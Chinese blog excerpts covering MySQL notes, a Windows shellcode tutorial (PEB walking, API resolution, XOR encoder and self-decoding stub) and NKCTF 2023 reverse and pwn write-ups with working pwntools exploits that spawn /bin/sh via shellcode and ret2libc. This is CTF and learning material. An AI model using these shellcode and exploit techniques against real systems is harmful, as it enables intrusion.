使用DISTINCT消除重复元组;

分组查询

1
SELECT major, COUNT(*) from tableA GROUP BY id HAVING ...

一般用于数字统计的查询,针对于某个字段来分组;

having类似于group by的where,设置条件,其含义是只显示满足having条件的组;

查询排序

1
SELECT ... from tableA order by id DESC

对于…的查询按照id的降序排序;

DESC为降序,ASC为升序;

限制查询

1
2
SELECT ... from tableA LIMIT 1,3		#从第一行往下1行开始(2行)往后找三行
SELECT ... from tableA LIMIT 3 OFFSET 1 #和上面等效

多关系

内连方法:

1
2
SELECT ... from tableA,tableB where ...  #等效于下方
SELECT ... from tableA inner join tableB ON ...

对于内连而言,不满足条件即不显示,外联会跟随某张表(主表)显示这张表满足条件的所有跟随项,不满足条件的内容会以NULL显示:

1
SELECT ... from tableA LEFT outer join tableB on ...

外连分左右外连,意思是选择左右哪张表作为主表,上述语句tableA在左,所以其为主表;

关于交叉连接:

1
SELECT * from A cross JOIN B

字段为A,B一起的总字段,元组则是一个关于A,B元组的笛卡尔积;

视图

创建:

1
CREATE VIEW view_name AS ...

…为完整的select语句构成;

其意义为,将此select生成的子表封装,称为视图,可直接当作一个表来操作;

索引

创建:

1
2
3
create unique index a on tableA(id,name);   #建立id和name的复合唯一索引
create index b on tableA(name(4),DESC); #建立普通索引对name前4字符以降序排列
create fulltext index c on tableA(text); #建立对text的全文索引

目的是为了加速数据查找的速度;

对于限定属性的值可以有:

1
2
alter table tableA add(constraint 限定名 check(major regexp '[0-9]'))  #限定major只能填0-9
alter table tableA add(constraint 限定名 check(major = '1' and major = '2')) #限定只能为12

用户

创建:

1
create user if not exists 'Second_BC' BY '123321'   #以123321口令建立此用户

在sql中,权限组叫角色(role)

权限是针对于用户对对象的命令使用权;

1
2
3
4
lock table xxx read; 		#读锁/共享
lock table xxx write; #写锁/最高限定
#解锁
unlock table xxx;

另外还有行级锁:

1
2
select * from tableA where id = xxx LOCK IN SHARE MODE;   #共享
select ... FOR UPDATE; #操作类型指令为写锁

行级锁限定时总会存在where来指定行;

对于ALTER操作

改表名:

1
rename table 表名 to 新表名;

改字段名:

1
alter table 表名 change 字段名 新字段名 类型;

类型可以与之前一样就行;

阅读全文
Windows_Shellcode

内联汇编

VS编写壳代码需要用到裸函数,在其中使用内联汇编:

1
2
3
4
5
6
7
8
9
void _declspec(naked)funcName()
{
__asm
{
push 0;
mov eax, 0xdeadbeaf;
call eax;
}
}

调用函数不能直接call一个立即数地址;

提取机械码用ida;

尽量不使payload中出现\x00,导致字符串截断

push 0; -> xor edi, edi; push edi;

在windowsROP里,此电脑 -> 管理 -> 事件查看器 -> Windows日志 -> 应用程序 以查看触发异常;

跳板

在WindowsAPI中,jmp esp 指令做为一个常见gadget,其地址在同版本API库加载dll时大部分情况下(没开随机地址)固定,32位情况下为 0x7xxxxxxx;

实现ROP即可使返回地址指向 jmp esp ,使其作为跳板让eip指向返回地址后面的shellcode;

TEB/PEB查找模块

为了使shellcode通用性强,可用TEB/PEB查找API模块,不使用立即数地址;

介绍

所有进程都会引用 kernel32.dll;

窗口程序(WinMain)user32.dll 专用,封装所有窗口操作相关API;

无论kernel32或user32最终会调用 ntdll.dll,r0大门;

TEB:thread environment block

线程环境块,结构体,保存线程中各种信息,每个线程都有一个;

1
2
3
4
5
TEB
{
+0x00 _NT_TIB NtTib; //线程信息块
+0x30 _PEB* PPEB;
}

线程信息块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct	_NT_TIB
{
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; //用于操作SEH
//SEH:windows异常处理机制,大量运用于反调试程序;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union
{
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向自己的指针
} NT_TIB;
typedef NT_TIB *PNT_TIB;

PEB: process environment block

进程环境块,需要的模块放于其中;

访问

用 NtCurrentTeb(); 可返回TEB类型指针;

其内部实现只有一句汇编码:

1
mov eax, dword ptr fs:[0x18]	;18h偏移是指向自己的指针 *Self

则fs段寄存器存放的是TEB,偏移30h为PEB指针;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PEB
{
+0x00c _PEB_LDR_DATA* Ldr;
}

struct _PEB_LDR_DATA
{
+0x000 Uint length;
+0x004 Uchar initialized;
+0x008 LVOID SsHandle;
+0x00c _LIST_ENTRY InloadOrderModuleList; //载入顺序排序的dll
+0x014 _LIST_ENTRY InMemoryOrderModuleList; //内存排序的dll
+0x01c _LIST_ENTRY InitializationOrderModuleList; //初始化排序的dll
}

初始化排序一般不会变动,所以用到它,第一个为ntdll,第二个kernel32或kernelbase;

_LIST_ENTRY是一个双头链表,其中只有两个字段,指向上一个和下一个结构体的指针;

_LIST_ENTRY其实为一个结构体内部的子结构体,数据信息放在其父结构体中,父结构体存放dll信息;

LDR

父结构体:

1
2
3
4
5
6
7
8
9
10
11
struct _LDR_DATA_TABLE_ENTRY
{
_LIST_ENTRY InloadOrderModuleList; //载入顺序排序的dll
_LIST_ENTRY InMemoryOrderModuleList; //内存排序的dll
_LIST_ENTRY InitializationOrderModuleList; //初始化排序的dll
PVOID DllBase; //dll基地址,要得到的模块
PVOID EntryPoint;
PVOID SizeOfImage;
PVOID FullDllName;
...
}

则得到dll基址所需汇编码为:

1
2
3
4
5
mov esi, fs:[0x30] ;得到peb
mov esi, [esi+0xc] ;得到ldr
mov esi, [esi+0x1c];得到_LIST_ENTRY
mov esi, [esi] ;得到下一个结构体(kernel32)
mov esi, [esi+0x8] ;得到dllbase(32位,两个指针类型占8字节)

对于windows段寄存器的操作别用keystone找机械码,有问题,就用裸函数写内联ida提取;

得到dllbase后,需要找到导出表,与其中的目标函数名称做比较确定真实地址;

需要确定 “LoadLibraryA”,“GetProcAddress”;

对于字符串比较不能使用strcmp系统函数,需要自实现汇编,相同返回0,不同返回1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Mystrcmp()
{
_asm
{
lea esi, [strA] //函数三个参数
lea edi, [strB]
mov ecx, 循环次数
repe cmpsb //循环比较
je Equal
mov eax, 1
jmp End
Equal:
mov eax, 0
End:
}
}

repe cmpsb需要DF标志位置零向后比较;

小实验:利用PEB获取user32模块调用MessageBoxA

大体思路:

  • 获取关键API: loadLibrary,getprocaddress,这样不管是什么模块中的什么函数都能使用;
  • 获取kernel32模块:获取以实现第一步,两个关键API在此模块中;
  • 使用两个API得到MessageBoxA的函数地址;
  • 调用MessageBoxA;

如何得到两个关键API呢?

用之前分析的方法:通过TEB->PEB->LDR->dllbase,找到dll基址,通过基址以及PE结构的知识得到dll的导出表,遍历函数名称表(ENT)和目标函数(loadlibrary,getprocaddress)名称比较得到函数索引,根据索引和函数序数表(EOT)得到此函数的地址表(EAT)索引,则得到两个关键API的地址;

写入字符串(函数名)

写入要比较的两个关键API字符串,以及调用API函数需要的其他字符串;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//LoadLibraryA
//GetProcAddress
//user32.dll
//MessageBoxA
//Second_BC
//以上字符串放入栈,栈中顺序也如上排序
//第一步,保存字符串信息
pushad
sub esp, 0x30
mov ax, 0x0043
mov word ptr ds:[esp - 2], ax //这种写法节省空间
sub esp, 2
push 0x425f646e
push 0x6f636553
push 0x41786f
push 0x42656761
push 0x7373654d
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
mov ax, 0x6c6c
mov word ptr ds:[esp - 2], ax
sub esp, 0x2
push 0x642e3233
push 0x72657375
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
mov ax, 0x7373
mov word ptr ds:[esp - 2], ax
sub esp, 0x2
push 0x65726464
push 0x41636f72
push 0x50746547
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov ecx, esp
push ecx
call fun_payload //主体实现,之后给出,一个参数,即这些字符串首地址
popad

获取kernel32.dll基址

用到了上述peb知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//第二步,获取kernel32.dll基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword ptr fs:[0x30] //peb地址
mov esi, [esi + 0xc] //ldr地址
mov esi, [esi + 0x1c] //list_entry
mov esi, [esi] //list_entry第二项,kernel32
mov esi, [esi + 0x8] //dllbase
mov eax, esi
pop esi
mov esp, ebp
pop ebp
retn

获取两个重量级API

用到pe结构知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//32位偏移计算
// MyGetProcAddress(imageBase, funName, nameLen)
// ImageBase + 0x3c = nt头
// nt头 + 0x78 = dataDirectory 第一项 导出表
// EAT = 导出表 + 0x1c
// ENT = 导出表 + 0x20
// EOT = 导出表 + 0x24
//第三步,获取导出表查找所需函数
fun_GetProcAddr:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx

//获取函数地址表,函数序数表,函数名称表
mov edx, [ebp + 0x8] //第一个参dllbase
mov esi, [edx + 0x3c] //lf_anew
lea esi, [edx + esi] //nt头 = base + lf_anew
mov esi, [esi + 0x78] //导出表RVA
lea esi, [edx + esi] //导出表VA
mov edi, [esi + 0x1c] //EAT RVA
lea edi, [edx + edi] //EAT
mov [ebp - 0x4], edi
mov edi, [esi + 0x20] //ENT RVA
lea edi, [edx + edi] //ENT
mov [ebp - 0x8], edi
mov edi, [esi + 0x24] //EOT RVA
lea edi, [edx + edi] //EOT
mov [ebp - 0xc], edi

//用ENT循环比较函数名得到目标函数的序数表index
//ENT和EOT索引同步
xor eax, eax //循环控制 i = 0
cld //DF标志位置为0,使比较时edi,esi往下加不是减
jmp tag_cmpFirst
tag_cmpLoop:
inc eax //i++
tag_cmpFirst:
mov esi, [ebp - 0x8] //ENT
mov esi, [esi + eax*4] //RVA
lea esi, [edx + esi] //函数名称地址
mov edi, [ebp + 0xc] //传入二参,目标函数名称地址
mov ecx, [ebp + 0x10] //三参,循环次数
repe cmpsb //esi, edi字符串比较
jne tag_cmpLoop

//根据已知EOT索引获取EAT中地址
mov esi, [ebp - 0xc] //EOT
xor edi, edi
mov di, [esi + eax*2] //word类型乘2,得到EAT索引

mov ebx, [ebp - 0x4] //EAT
mov esi, [ebx + edi*4] //函数地址rva
lea eax, [edx + esi] //返回目标函数地址

pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0xc //接收三个参数

payload

第一步跳转的主要的思路实现;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//第四步,payload
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx

//dll基址
call fun_GetModule
mov [ebp - 0x4], eax

//LoadLibraryA地址
push 0xd
mov ecx, [ebp + 0x8] //获取字符串首地址
push ecx
push eax
call fun_GetProcAddr
mov [ebp - 0x8], eax //LoadLibraryA地址

//GetProcAddress地址
push 0xf
lea ecx, [ecx + 0xd] //获取字符串
push ecx
push [ebp - 0x4]
call fun_GetProcAddr
mov [ebp - 0xc], eax //GetProcAddress地址

//用load加载user32.dll
mov ecx, [ebp + 0x8] //获取user32字符串
lea ecx, [ecx + 0x1c]
push ecx
call [ebp - 0x8]
mov [ebp - 0x10], eax //user32.dll基址

//用getprocaddr获取messagebox地址
mov ecx, [ebp + 0x8] //获取messagebox字符串
lea ecx, [ecx + 0x27]
push ecx
push [ebp - 0x10]
call [ebp - 0xc]
mov [ebp - 0x14], eax //MessageBoxA地址

//调用messagebox
mov ecx, [ebp + 0x8] //获取Second_BC
lea ecx, [ecx + 0x33]
xor eax, eax
push eax
push ecx
push ecx
push eax
call [ebp - 0x14]

pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x4 //接收一个参数,输出字符串地址

以上代码用裸函数外套即可使用:

1
2
3
4
5
6
7
void _declspec(naked)shellCode()
{
__asm
{

}
}

用ida提取之后的机械码shellcode即可放到ROP链中使用,前提是有漏洞;

字符串优化

由于在上一步写入字符串这里,会引进\x00以及大量的字符串导致内存浪费,此处有一个方法使其优化:编码;

构造一个函数,使得字符串通过之后输出其对应的4字节哈希值,写入时写入哈希值,此时满足不破坏比较时的一个逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DWORD getHash(char* str)
{
DWORD digest = 0;
while (*str)
{
digest = (digest << 25 | digest >> 7);
digest = digest + *str;
str++;
}
return digest;
}

void _declspec(naked)asmGetHash()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x4
push ecx
push edx
push ebx
push esi

mov dword ptr [ebp - 0x4], 0 //digest = 0
lea esi, [ebp + 0x8] //str
xor ecx, ecx //i = 0
tag_hashLoop:
xor eax, eax
mov al, [esi + ecx] //取第i个字符
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19 //digest << 25
mov edx, [ebp - 0x4]
shr edx, 0x7 //digest >> 7
or ebx, edx // |
add ebx, eax // +
mov [ebp - 0x4], ebx //digest = ...
inc ecx //i++
jmp tag_hashLoop
tag_end:
mov eax, [ebp - 0x4]

pop esi
pop ebx
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
}
}

编码优化

除了字符串,代码中也会出现大量\x00,由此对代码进行编码处理,且编码可逆,输入过程中不出现\x00,进入程序内部后自解密为真实代码执行;

编码

思路是使用异或对每个字节编码,长度不变,编码后的内容不应该有\x00,则选择的异或key有讲究;

在 0x01 ~ 0xff 之间遍历出一个可以使用的key进行异或;

则编码代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
BOOL enShellcode(char * shellcode, int shelllen)
{
BOOL result = TRUE;
int nkey = 0;
unsigned char* encodebuff = new unsigned char[shelllen];
//遍历合适的key
for (int key = 0x1; key < 0xff; key++)
{
result = TRUE;
nkey = key;
//循环编码
for (int i = 0; i < shelllen; i++)
{
encodebuff[i] = shellcode[i] ^ key;
if (encodebuff[i] == 0)
{
result = FALSE;
break;
}
}
if (result == TRUE)
{
break;
}
}
if (result == FALSE)
return result;
//格式化打印
FILE* fp;
fopen_s(&fp, "encode.txt", "w+");
fprintf(fp, "nkey = 0x%02x\n", nkey);
fprintf(fp, "shell len = %d\n", shelllen);
fprintf(fp,"\\\n\"");
for (int i = 0; i < shelllen; i++)
{
fprintf(fp, "\\x%02x", encodebuff[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fp, "\" \\\n\"");
}
}
fprintf(fp, "\"");
fclose(fp);
delete[] encodebuff;
return result;
}

解码

对于输入的shellcode需要一段代码对其进行解码,这里会涉及到偏移问题,如下图所示;

offset

对于获取执行代码的地址,有一个非常经典的代码:

1
2
3
	call next_ins
next_ins:
pop eax

将eip压入栈,再弹出给eax寄存器,此时返回的地址则是pop eax这一条指令所在位置;

但问题出现在call next_ins,其硬编码会变成 E8 00 00 00,不能有\x00,所以代码需要改变为如下:

1
2
3
40000 call 40003h
40004 retn
40005 pop eax

此时40003地址的一字节和40004的retn指令硬编码共同组成两字节的汇编指令:inc ebx,这对实现解码来说无影响,执行这条指令后便pop rax了,且避免了产生\x00,此时返回的地址则是 40004 retn 这个地方;

此时解码汇编如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__asm
{
xor eax, eax //清零eax
call tag_get_eip-1 //获取retn处地址
tag_get_eip:
retn
pop eax

lea esi, [eax + offset] //通过本段汇编码长度得到shellcode地址
xor ecx, ecx
mov cx, count //循环次数,shellcode长度

tag_decode:
mov al, [esi + ecx] //循环解码,倒序
xor al, key
mov [esi + ecx], al
loop tag_decode
xor [esi + ecx], key //解码漏了的第一个字节

jmp esi //转到shellcode地址
}
阅读全文
NKCTF 2023 Bin部分复现

Reverse

try_decrypt_me

一道安卓逆向;

jadx打开查看其MainActivity:

Android

最上面的函数说明主要逻辑就是用了一个AES加密输入内容;

最下面的图说明其采用的AES模式;

而中间说明其传入的密钥是字符串 reversehavemagic 进行了md5加密,且该加密有偏移量iv;

问题出现在最后的字符串比较上,这个r4点不开;

怎么拿到比较字符串呢?

按TAB打开汇编界面,找到比较的对应行数50,之后可看到它实际上是将 secret字段传入了r4里,现在直接搜索secret便可看到一串由base64加密的字符串,这说明经过AES加密后还进行了base64编码,因为字符不可见;

find_secret

那么此时就有密文:secretbase64解码后的hex;

密钥:reversehavemagic MD5加密后的hex组成的字串;

偏移量iv:r3v3rs3car3fully;

将这些数据直接写进在线网址的AES解密里便可拿到flag:

NKCTF{nI_k@i_sHi_zhu_j1an_il_Jie_RE_le}

PMKF

打开IDA:

发现是读取C盘下的一个叫做nk.ctf里的二进制文件;

用里面的数据来加工之后对比数据;

可以看出开头的6个数据为(byte_405100为nkman)

\x05nkman

main

可以发现后面的数据都是进行了迷宫操作:(左图操作数据移动)(右上判断撞墙或者赢)

maze

首先将读入的数据异或后以byte进行>>k & 3的运算;然后根据其为0,1,2,3进行上下左右的移动,因为是+=18 -=18的缘故,这个迷宫数组(右下图)可以用每行18来对齐,之后可以很容易找出迷宫的移动轨迹,顺势推出0123的组合:

1122332212232211011111010000010112110111222323303323221111122333

调试可以得到异或的v11是个固定的数据:21;

则可写出python脚本用z3求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from z3 import *

s = Solver()

ans = [BitVec('ans[%d]' % i,32) for i in range(16)]

aim = '1122332212232211011111010000010112110111222323303323221111122333'

k = 0

for i in range(16):
xored = ans[i] ^ 21
for j in range(6,-1,-2):
s.add((xored >> j) & 3 == ord(aim[k]) - 48)
k += 1

if s.check() == sat:
print(s.model())

#得到ans之后再跑一遍如下得到16个hex
ans = [0] * 16

ans[10] = 190
ans[0] = 79
ans[14] = 67
ans[4] = 0
ans[1] = 239
ans[11] = 169
ans[2] = 126
ans[13] = 176
ans[8] = 112
ans[12] = 238
ans[5] = 68
ans[3] = 176
ans[15] = 170
ans[6] = 21
ans[9] = 0
ans[7] = 4

for i in ans:
if i < 16:
print('0%x' % i,end='')
else:
print("%x" % i,end='')

flag要求包裹nk.ctf里的十六进制内容,则flag:

nkctf{056e6b6d616e4fef7eb0004415047000bea9eeb043aa}

not_a_like

打开之后可以很清楚的发现这是upx打包之后的结果,函数太少了,结构也和upx很像;

但是直接用upx -d是没办法解开的,猜测是更改了upx标识码;

010editor打开搜索upx:

会发现如下有很多大小写共存的upx,但直接改写会导致这个程序错误;

upx

自实现一个标准的upx加密,对照着来看,可以发现,正规upx加密的一个区域里有 UPX0 UPX1 UPX2;

自然可以在这道题里找到对应的区域,只是这里的UPX标志都被改成0了;写回去之后便可用upx -d脱壳了;

注意只改UPX0-3,不要直接复制会有问题;

之后再打开ida查看,会发现有很多py函数,推测这是python打包的exe,于是又用pyinstxtractor来解包,很幸运没有key参;最后从pyc使用uncompyle6变为原始的py文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May 3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: not_a_like.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import libnum, base64, hashlib
from ctypes import *

def encrypt(text):
data_xor_iv = bytearray()
sbox = []
j = 0
x = y = k = 0
key = '911dcd09ad021d68780e3efed1aa8549'
for i in range(256):
sbox.append(i)
else:
for i in range(256):
j = j + sbox[i] + ord(key[(i % len(key))]) & 255
sbox[i], sbox[j] = sbox[j], sbox[i]
else:
for idx in text:
x = x + 1 & 255
y = y + sbox[x] & 255
sbox[x], sbox[y] = sbox[y], sbox[x]
k = sbox[(sbox[x] + sbox[y] & 255)]
data_xor_iv.append(idx ^ k)
else:
return data_xor_iv


if __name__ == '__main__':
flag = input('请输入flag> ')
pub_key = [19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327, 76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931]
m = libnum.s2n(flag)
c = str(pow(m, pub_key[0], pub_key[1]))
q = b'EeJWrgtF+5ue9MRiq7drUAFPtrLATlBZMBW2CdWHRN73Hek7DPVIYDHtMIAfTcYiEV87W7poChqpyUXYI3+/zf5yyDOyE9ARLfa5qilXggu60lmQzFqvFv+1uOaeI2hs2wx+QZtxqGZzC0VCVWvbTQ52nA2UdUtnk8VezRMPMfmf7rOqPxDTv/aacLnI3RdLG2TbT52qtN4+naejI7Xe8HLOL765OZKdDBERKwd5ARQ3UL6YPbuOKOQahIFddnIX6rZ7dTNqCUDOjfJbMdrzJVDNjmNlkLNtYFo7M65Wfwj6PV5vvtT33FsmH50/YLEasnlCiJujYOgi2KCdf5msz1dPEvrXDDL6Csnjo+6m/44RzlluzcqMS5ZJFdrHEh68LIqtu+HCO+69Dyq4e22APq8wgN9kU6R8kikXSn/Ej0N/jOvomFCbkHskRl8xP1KgWFW0SMVDlaDCM4EKG812VgDWgSYOUnVhVpz65uOtg4Z8PrPI+BW4398dQYhD24D9EIPgvtmhNrHiEHouB46ElTGQgZBhtn6y9tL1sw=='
v = encrypt(base64.b64encode(c.encode('utf-8')))
v = base64.b64encode(v)
if v == q:
print('You are right!')
input('')
else:
print('winer winer winnie dinner')
print('Do you think the encryption and decryption are the same?')
# okay decompiling not_a_like.pyc

先是使用rsa加密为一串数字c,然后把c编码base64进行rc4加密,之后再把加密后的v用base64编码,编码后的v与q数据进行比较;

一路逆回去,只有rsa卡住了一会儿,会发现rsa公钥中的n过大,不好分出p和q,但是e也过大,所以可以用维纳攻击;

在网上搜索维纳攻击脚本输入对应数据可以解出flag:

NKCTF{chinese_zhenghan}

babyrust

用ida打开查看可以说伪代码相当难看;

只有用字符串配合着汇编勉强可以看出端倪,且输入数字会产生异常,输入字符会回显一串字符串;

seek

可以发现要求输入长度为28,且该输入一一对应,这意味着可以采用按位爆破来解题;

且它给出了回显,那就更好办了,都不用patch,直接开子进程输入,之后接收回显比较对应字符串;

先试试吧,它题目给的fake gift比较一下看看结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import subprocess

real_flag=''
cur_index=0 #当前爆破的位置
aim = b")&n_qFb'NZXpj)*bLDmLnVj]@^_H" #给的gift

while cur_index<28:
for i in range(32,128): #当前爆破的位置上的字符
real_flag_arr = [0] * 28

for j in range(len(real_flag_arr)-1,cur_index,-1): #除了当前爆破的位置,其他位置 上都设置为 空格
real_flag_arr[j]=32

real_flag_arr[cur_index]=i #设置当前爆破的位置上的字符
real_flag_arr_s="".join(chr(k) for k in real_flag_arr) #输入到程序中的字符串
p = subprocess.Popen(["C:\\Users\\Second_BC\\Desktop\\babyrust.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(real_flag_arr_s.encode())
p.stdin.close()
#接收输出,第134个刚刚为括号字串
out = p.stdout.read()[134:]

#判断有无返回(只有字符会返回,其他会异常,但也返回一些printf,只是不返回那串括号字串)
if len(out) != 0:
if out[cur_index] == aim[cur_index]:
real_flag += chr(i)
cur_index += 1
print(real_flag)
break

狠狠地爱一一对应关系的逆向,直接就爆出flag:

NKCTF{WLcomE_NOWayBaCk_RuST}

earlier

两个文件,一个exe一个dll;

先用ida查看exe,可以发现其很难看:

main_0

直接搜索字符串是找不到的,dll里也找不到,猜测是被加密隐藏了;

直接调会直接闪退,看到export表里面的tls回调函数就知道是怎么一回事了;

tls一般用于共享内存的多线程处理,但其回调函数是会提前在main之前执行的,所以可以把反调试的内容放里面;

进去之后看着也是依托答辩:

dabian

可以看到最下面是出现了退出进程的,这说明确实反调试就在这一坨,但是上面出现了call坏地址,也同时有短距离的无用跳转;

可以想到出现了花指令在混淆;

修复之后:

fixed

顺便也把tlscallback_1_0的也修了,就可以发现有三种反调试: IsDebuggerPresent,NtSetInformationThread,NtQueryInformationProcess;

把对应的地方改了,比如右上图的if(result)改成了if(!result),下面也同样如此;

此时就可以调试到main里去了;

然后main中的三个函数前半段是可以看出逻辑的,但后半段就全部乱了;

image.png

但他们三个有共同的特点,在有逻辑的代码段里都调用了同一个函数,把这个函数去花可得到右图;

而去逆dll可以发现它调用的这两个函数的作用就是把原程序里的这三个函数无逻辑的地方进行异或运算;

计算完之后就变成正常的函数了,也可以发现之前运行时的字符串了;

具体逻辑即为rc4加密;进行解密后得到flag:

nkctf{y0u_are_so_clever_f0r_debug_enc0de!}

Pwn

ez_shellcode

shellcode

可以发现这个read函数能很容易的实现栈溢出,因为buf距离rbp只有70h,但允许读入100h;

这个rand实则是个伪随机,默认每次都为一个固定的值,84;

且输入的内容会被复制到buf2缓冲区上,这个缓冲区在bss段上,此题的bss段是可执行区段,且该题已经直接就把buf2当成函数用了;

但不能直接输入垃圾代码填充前半段,因为构造的shellcode至少都有40位的长度,buf2缓冲区可没这么长;

所以要在最开始写入shellcode,然后在执行buf2[v6]的地方写进jmp指令,跳转回buf2[0]的地方执行shellcode;

Exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#别忘了加,不加默认下面构造shellcode是以32位来的
context(os="linux", arch="amd64")

p = process('./pwn')

shellcode = asm(shellcraft.sh())

#后面的一坨jmp偏移可调试获得
payload = shellcode.ljust(84,b'a') + b'\xe9\xa7\xff\xff\xff'
p.sendline(payload)

p.interactive()

story

左图为main函数;

image.png

可发现在warning函数中可以拿到puts地址,heart中可实现栈溢出,其他三个函数都是可在bss段上分别写入8字节的内容;

同时可以知道heart函数栈溢出的位数太少了,只够return的位数:0x20-0xA-8 = 0xE(8 + 6);

所以想到用栈迁移来弥补覆盖过少的缺点,而构造的提权payload可以就放在bss段的ao上,刚好24个字节3个内容分别为:

  1. pop_rdi_ret;
  2. bin_sh_addr;
  3. system_addr;

因为是64位程序,需要用rdi寄存器来传入参数;

pop rdi;retn;这串指令可以在csu上找得到,pop r15 的机械码是 41 5F,而5F对应的就是 pop rdi;

bin_sh和system可以用puts函数地址计算偏移获得;

栈迁移目标地址就是ao,二次leave指令可以就选在heart函数上,它本身就自带leave;

Exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

#把格式化输出的地址转化为int类型的函数
def calcan(bcannary):
i = 0
j = 0
for i in range(len(bcannary)):
if(bcannary[i] == 10):
break

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = bcannary[j]

j -= 2
can = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
can += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
can += pow(16,i) * (new_c[i] - 87)

return can

#开始
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

puts = elf.plt['puts']
puts_g = elf.got['puts']

#先走4拿puts地址
payload = b'4'
p.sendlineafter("\n1.acm\n2.ctf\n3.love\n4.heart\n> \n",payload)
r = p.recv()[83:100]
puts_addr = calcan(r)

#计算出system函数和binsh地址,以及ROPgadget找出的pop rdi;retn的地址
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
pop_rdi_ret = 0x401573
sleep(1)

#按地址顺序写入需要payload提权的内容
payload = b'2'
p.sendline(payload)
p.sendline(p64(pop_rdi_ret))
sleep(1)

payload = b'1'
p.sendline(payload)
p.sendline(p64(binsh_addr))
sleep(1)

payload = b'3'
p.sendline(payload)
p.sendline(p64(system_addr))
sleep(1)

#进入heart函数
payload = b'4'
p.sendline(payload)
sleep(1)

#aim即为 ao 地址,leave为ida找出heart自身的leave指令地址
aim = 0x4050A0
leave = 0x40139E
payload = b'a'*10 + p64(aim-8) + p64(leave)
p.sendlineafter("now, come and read my heart...\n",payload)
p.interactive()
阅读全文
格式化字符串

具体见:利用 - CTF Wiki (ctf-wiki.org)

写法

在使用printf函数时,会用到如下内容:

1
2
3
4
5
%d			//打印整数
%x //打印十六进制
%p //打印指针数值(32位打印4字节,64位打印8字节)
%s //打印字符串(打印地址指向的内容)
%n //将该格式化之前的字符数量通过地址存入变量中;

这里重点说明下 %s,%n;

%s 虽说时用来打印字符串的,但其本质是将参数视作指针,打印指针指向的内容,一直显示到 ‘\x00’ ,当使用 recv() 函数接收时,得到的是 byte 类型,所以可以得到 int 类型;

%n 如下图所示:

%n

